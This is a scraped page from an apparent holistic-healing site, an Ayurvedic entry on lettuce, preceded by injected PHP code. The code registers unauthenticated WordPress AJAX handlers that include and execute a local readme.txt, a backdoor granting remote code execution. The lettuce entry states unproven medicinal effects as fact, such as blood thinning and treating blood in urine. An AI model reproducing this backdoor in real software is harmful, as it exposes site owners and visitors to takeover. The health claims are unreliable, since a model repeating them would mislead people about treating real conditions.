if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Lettuce | Holistic Healing Resolutions by Asaf Feit

Lettuce

by | Food Index, Vegetables | 0 comments

Lettuce

Cool and bitter, lettuce is perfect for overheated, aggressive or impatient people. It is also a good match for the overweight, lethargic, watery individuals, that can benefit from lettuce lightness and bitterness.

Vata people should eat lettuce with lemon and rock-salt to aid digestion.

Properties

Taste: bitter, sweet

Natural Attributes: light, clear, dry

Tissue impact (Vipak): reducing

Thermal impact (Virya): cooling

Dosha impact: Increases Vata, decreases Pitta and Kapha

Digestive impact (Agni): easy to digest

Channels (Srotas): opens

Feces: moved

Urine: diuretic

Strength (Bala): clears congestionand obstruction 

Mind (Manas): Sattvic

Effect: sedative, refrigerant, nervine, alterative, blood thinner, hypolipidemic, demulcent 

Chinese five element impact: Wood

Chinese medicine syndromes: Moves Liver qi, Subdue Liver Fire

Medicinal properties 

  • Nourishment (rasa): increases lactation, losing weight
  • Blood-circulation-liver: edema, hemorrhoids, reducing liver excess, detoxifying and cooling the liver
  • Nervous system: relaxes nerves
  • Kidney-Bladder: scanty urine, blood in urine
  • Digestive system: digestive yeasts

Harmful for: eye diseases, dizziness, the emaciated

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